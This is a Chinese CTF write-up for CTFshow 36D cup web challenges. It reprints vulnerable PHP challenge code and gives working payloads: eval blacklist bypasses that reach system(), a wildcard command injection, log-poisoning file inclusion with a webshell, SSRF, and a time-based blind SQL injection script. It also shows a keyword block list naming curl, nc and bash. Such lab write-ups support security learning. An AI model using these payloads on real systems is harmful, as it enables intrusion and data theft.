Contents
WEB_你取吧
给了源码
1 2 3 4 5 6 7 8 9 10 11 12 13 | <?php error_reporting(0); show_source(__FILE__); $hint=file_get_contents('php://filter/read=convert.base64-encode/resource=hhh.php'); $code=$_REQUEST['code']; $_=array('a','b','c','d','e','f','g','h','i','j','k','m','n','l','o','p','q','r','s','t','u','v','w','x','y','z','\~','\^'); $blacklist = array_merge($_); foreach ($blacklist as $blacklisted) { if (preg_match ('/' . $blacklisted . '/im', $code)) { die('nonono'); } } eval("echo($code);"); |
怎么绕呢?
解法1:
用$$ :${$_{7}.$_{8}.$_{12}.$_{19}} 出来是$hint
这道题在websec.fr上有类似的题目,具体参数为level22,可以参考https://blog.ankursundara.com/websec-fr-solutions/
You can access array elements using
{}
instead of[]
. We can call functions in the blacklist via$blacklist{index}()
. We search through the blacklist to findvar_dump
, and see that it is at index579
. We callvar_dump($a)
to dump the flag.
原理是什么呢:
通过上面的write-up,我们可以知道,使用$_{}可以截取黑名单中的字符,题目源码又给了hint,直接从黑名单中选取相应的字符位置,$_{7}=h 然后最终用${}包裹,就会变成$hint,就可以读到Hhh.php 经过base64编码后的源码了
解密得到一个压缩包:·phpjiami.zip·和一个地址:‘’hint.php‘’
下载下来发现有混淆,使用php反混淆工具解密,发现shell
在hint.php链接获得flag
赛后看了一下其他师傅的WP还学到了很多新解法
解法2:
构造chr函数直接截取成system(‘cat /flag’)
code=($_1=$_{2}.$_{7}.$_{17}).
($__=$_1(99).$_1(97).$_1(116).$_1(32).$_1(47).$_1(102).$_1(108).$_1(97).$_1(103)).
($_2=$_1(115).$_1(121).$_1(115).$_1(116).$_1(101).$_1(109)).
($_2($__))
这里用.代替了;执行多语句,学到了学到了
解法3:
在 wh1sper师傅的博客中还发现了用三元运算符构造hint。具体可查:CTFshow 36D杯
在这张图表上,’@’|'(任何左侧符号)’=='(右侧小写字母)’
也就是说, ‘@’|‘!’==‘a’ ,于是我们用以下playload就可以读取 $hint (’@@@@’|'().4′ == ‘hint’):
- ?code= ($_ = ‘@@@@’|‘().4’) == 1?1:$$_
解法4:
P神的无数字字母getshell
?code=" ");$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);//
首先闭合前面的echo然后新构造一个 参考y1ng师傅
解法5:
国内暂时没见过这样的解法(可能我没见过),暂时不写明
解法6:
code=’2′);`/???/?? /???? ./`;/*
直接/bin/cp /flag ./
然后直接访问
WEB_WUSTCTF_朴实无华_Revenge
给了源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 | <?php header('Content-type:text/html;charset=utf-8'); error_reporting(0); highlight_file(__file__); function isPalindrome($str){ $len=strlen($str); $l=1; $k=intval($len/2)+1; for($j=0;$j<$k;$j++) if (substr($str,$j,1)!=substr($str,$len-$j-1,1)) { $l=0; break; } if ($l==1) return true; else return false; } //level 1 if (isset($_GET['num'])){ $num = $_GET['num']; $numPositve = intval($num); $numReverse = intval(strrev($num)); if (preg_match('/[^0-9.-]/', $num)) { die("非洲欢迎你1"); } if ($numPositve <= -999999999999999999 || $numPositve >= 999999999999999999) { //在64位系统中 intval()的上限不是2147483647 省省吧 die("非洲欢迎你2"); } if( $numPositve === $numReverse && !isPalindrome($num) ){ echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好."; }else{ die("金钱解决不了穷人的本质问题"); } }else{ die("去非洲吧"); } //level 2 if (isset($_GET['md5'])){ $md5=$_GET['md5']; if ($md5==md5(md5($md5))) echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴."; else die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲"); }else{ die("去非洲吧"); } //get flag if (isset($_GET['get_flag'])){ $get_flag = $_GET['get_flag']; if(!strstr($get_flag," ")){ $get_flag = str_ireplace("cat", "36dCTFShow", $get_flag); $get_flag = str_ireplace("more", "36dCTFShow", $get_flag); $get_flag = str_ireplace("tail", "36dCTFShow", $get_flag); $get_flag = str_ireplace("less", "36dCTFShow", $get_flag); $get_flag = str_ireplace("head", "36dCTFShow", $get_flag); $get_flag = str_ireplace("tac", "36dCTFShow", $get_flag); $get_flag = str_ireplace("$", "36dCTFShow", $get_flag); $get_flag = str_ireplace("sort", "36dCTFShow", $get_flag); $get_flag = str_ireplace("curl", "36dCTFShow", $get_flag); $get_flag = str_ireplace("nc", "36dCTFShow", $get_flag); $get_flag = str_ireplace("bash", "36dCTFShow", $get_flag); $get_flag = str_ireplace("php", "36dCTFShow", $get_flag); echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥."; system($get_flag); }else{ die("快到非洲了"); } }else{ die("去非洲吧"); } |
测试后发现intval函数在传入 . -的时候返回int(0) 所以可以用这个绕过
payload:?num=0.01.0&md5=0e1138100474&get_flag=ca\t</flag
第二层0e弱类型比较跑一下就有了
1 2 3 4 5 6 7 8 9 10 11 | #coding:utf-8 import hashlib for i in range(999999999,10**33): i = str(i) num = '0e' + i md5 = hashlib.md5(num.encode()).hexdigest() md52 = hashlib.md5(md5.encode()).hexdigest() if md52[0:2] == '0e' and md52[2:].isdigit(): print('success str:{} md5(str):{}'.format(num, md5)) break |
后来y1ng师傅修了一下:
加了
if ($num != $numPositve) {
die(‘最开始上题时候忘写了这个,导致这level 1变成了弱智,怪不得这么多人solve’);
if (preg_match(“/\’|\\\|\[|\*/”, $get_flag)) {
die(‘非预期修复*2’);
不用cat用nl</flag,或者od</flag,或者xxd</flag,或者fmt</flag,或者fold</flag
又修了一下过滤了之前的方法,所以不能通过0.012.0这样的方法绕过
赛后看了一下Y1ng师傅的WP,是因为浮点精度的问题
这里直接截图一下Y1ng师傅的博客
具体可以参考:CTFshow 36D Web Writeup
WEB_ALL_INFO_U_WANT
打开靶机,扫描一下发现了bak备份
下载
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 | visit all_info_u_want.php and you will get all information you want = =Thinking that it may be difficult, i decided to show you the source code: <?php error_reporting(0); //give you all information you want if (isset($_GET['all_info_i_want'])) { phpinfo(); } if (isset($_GET['file'])) { $file = "/var/www/html/" . $_GET['file']; //really baby include include($file); } |
给了phpinfo和文件包含代码,猜测就包含了,包含一下access.log发现有返回
在User-Agent写入一句话木马上传shell
file=../../../../../../../../var/log/nginx/access.log
在etc手撕一下获得flag
还有第二种解法,Y1ng师傅博客很详细了,有空复现下
WEB_RemoteImageDownloader
打开靶机是一个输入框,给了http:??。猜测是ssrf了
随便测试一下发现返回的是截图
发现了这篇文章
https://www.anquanke.com/post/id/86371
我们只需要在自己的vps上建立一个js
写一个html跳转到这个js查看日志就有flag
WEB_给你shell
打开靶机,有源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 | <?php //It's no need to use scanner. Of course if you want, but u will find nothing. error_reporting(0); include "config.php"; if (isset($_GET['view_source'])) { show_source(__FILE__); die; } function checkCookie($s) { $arr = explode(':', $s); if ($arr[0] === '{"secret"' && preg_match('/^[\"0-9A-Z]*}$/', $arr[1]) && count($arr) === 2 ) { return true; } else { if ( !theFirstTimeSetCookie() ) setcookie('secret', '', time()-1); return false; } } function haveFun($_f_g) { $_g_r = 32; $_m_u = md5($_f_g); $_h_p = strtoupper($_m_u); for ($i = 0; $i < $_g_r; $i++) { $_i = substr($_h_p, $i, 1); $_i = ord($_i); print_r($_i & 0xC0); } die; } isset($_COOKIE['secret']) ? $json = $_COOKIE['secret'] : setcookie('secret', '{"secret":"' . strtoupper(md5('y1ng')) . '"}', time()+7200 ); checkCookie($json) ? $obj = @json_decode($json, true) : die('no'); if ($obj && isset($_GET['give_me_shell'])) { ($obj['secret'] != $flag_md5 ) ? haveFun($flag) : echo "here is your webshell: $shell_path"; } die; |
查看cookie发现secret
和这道题类似,爆破一下发现cookie为115的时候有新页面改cookie为{“secret”:115},传入give_me_shell=1
进入下一个页面
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 | <?php error_reporting(0); session_start(); //there are some secret waf that you will never know, fuzz me if you can require "hidden_filter.php"; if (!$_SESSION['login']) die(''); if (!isset($_GET['code'])) { show_source(__FILE__); exit(); } else { $code = $_GET['code']; if (!preg_match($secret_waf, $code)) { //清空session 从头再来 eval("\$_SESSION[" . $code . "]=false;"); //you know, here is your webshell, an eval() without any disabled_function. However, eval() for $_SESSION only XDDD you noob hacker } else die('hacker'); } /* * When you feel that you are lost, do not give up, fight and move on. * Being a hacker is not easy, it requires effort and sacrifice. * But remember … we are legion! * ————Deep CTF 2020 */ |
测试后发现过滤了一吨字符,但是没过滤取反,
?code=]=123?><?=require@~%d0%99%93%9e%98?>
获得flag
WEB_Login_Only_For_36D
注入题,过滤了分号之类的,用\逃逸不多说了,然后测试一下发现select没了,布尔盲注没回显,时间盲注可以
无列名注入,盲猜password列
脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 | import requests as req import time def ord2hex(string): result = '' for i in string: result += hex(ord(i)) result = result.replace('0x','') return '0x'+result flag='' url = "https://dc695489-cf68-45f2-97f9-1a21f62ba9e3.chall.ctf.show/" string = [ord(i) for i in 'IABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'] for i in range(50): for j in string: password = ord2hex(res+chr(j)) password = 'or/**/if((password/**/REGEXP/**/binary/**/{}),sleep(10),1)#'.format(password) data = { 'username':"admin\\", 'password':password } startTime=time.time() r = req.post(url=url, data=data) endtime=time.time() if endtime - startTime > 5: flag += chr(j) print(flag) break |
跑一会儿出了密码ILoVeThlrtySixD(环境比较卡,多跑几次就出来了,测试password长度为15)
登录即flag(BJD脚本用到现在可太有趣了)
WEB_你没见过的注入
题目提示直接给了:
- 不需要爆破、扫描
- 没有源码泄露
- 登陆不上去找txt
看到txt,想到的肯定是robots.txt了,访问发现重置密码界面(真后门)
重置密码后进入前台,发现是文件上传
根据题目名称,看来是在文件上传处进行注入了。
测了一会儿后发现是元数据注入,找个图片在版权信息报错注入读文件
u’or updatexml(1,concat(0x7e,(select left(load_file(“/flag”),25))),0) or ‘
flag长多截取点
咱也是看群里聊天才知道这个注入的,咱也啥也不会
Pingback: CTFshow 36D杯 | 聆听,低语者的诉求
Pingback: 安恒八月赛知识总结 – LND_Web